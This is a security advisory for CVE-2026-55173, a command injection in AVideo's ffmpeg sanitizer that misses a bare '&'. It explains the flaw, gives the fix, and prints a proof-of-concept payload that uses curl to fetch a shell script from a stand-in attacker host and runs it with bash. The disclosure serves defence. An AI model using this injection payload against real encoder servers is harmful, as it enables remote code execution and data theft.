CVE-2026-55173: AVideo sanitizeFFmpegCommand OS Command Injection via Ampersand Bypass
AVideo's incomplete patch for a prior command injection bug still lets an attacker run arbitrary OS commands on the encoder server by slipping a bare '&' shell operator past the sanitizer.

The problem
The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is the only gate between user-supplied ffmpeg command strings and a sh -c exec sink in execAsync(). The fix for CVE-2026-33482 added $, (, ), {, }, \n, \r to the stripped character class and a str_replace('&&', '', ...) call, but never added a bare &.
A single & is the POSIX shell background operator and acts as a command separator inside the sh -c "..." string that execAsync() builds. Any attacker who can submit a valid AES-256-CBC encrypted payload to ffmpeg.json.php can chain arbitrary commands after a legitimate ffmpeg prefix.
Impact is full OS command execution on the standalone encoder server: data exfiltration, reverse shells, or dropping and running arbitrary files.
Proof of concept
A working proof-of-concept for CVE-2026-55173 in wwbn/avideo, with the exact payload below.
ffmpeg -i input.mp4 & curl http://attacker.example/shell.sh -o /tmp/s.sh & bash /tmp/s.sh & echo done out.mp4The three sanitizer lines leave & completely intact: str_replace('&&', '', $command) only removes the doubled form; preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command) strips & only when it directly precedes >; and preg_replace('/[;|\<>$()\n\r{}]/', '', $command) has no &` in the character class.
The prefix gate (strpos(trim($command), 'ffmpeg') === 0) passes because the payload starts with ffmpeg. At the sink, addcslashes($command, '"') escapes only double-quotes, so & reaches the inner shell unmodified inside nohup sh -c "$command & echo $! > /tmp/$keyword.pid" > /dev/null 2>&1 &.
The inner shell interprets each &-separated token as an independent background command, running the injected payload. The PoC in the advisory (poc/OUTPUT.txt) confirmed touch /tmp/avideo_amp_rce_proof executed successfully. CWE-78: the root cause is a denylist applied to a shell-interpolation sink rather than per-argument escaping.
The fix
Apply patch commit c1cfa2bea8a351a1d07f5758f82887403e3abf1f. The correct long-term fix is to build the ffmpeg invocation as an argv array with escapeshellarg() per token instead of interpolating into sh -c "...". As defense-in-depth, & must be added to the stripped character class in sanitizeFFmpegCommand().
All AVideo deployments on version 29.0 and below are affected; upgrade to a release that includes the referenced patch commit.
Related research
- high · 8.8Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)
- high · 8.8CVE-2026-55578CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
- highCVE-2026-40187CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection
- high · 8.2CVE-2026-49260CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path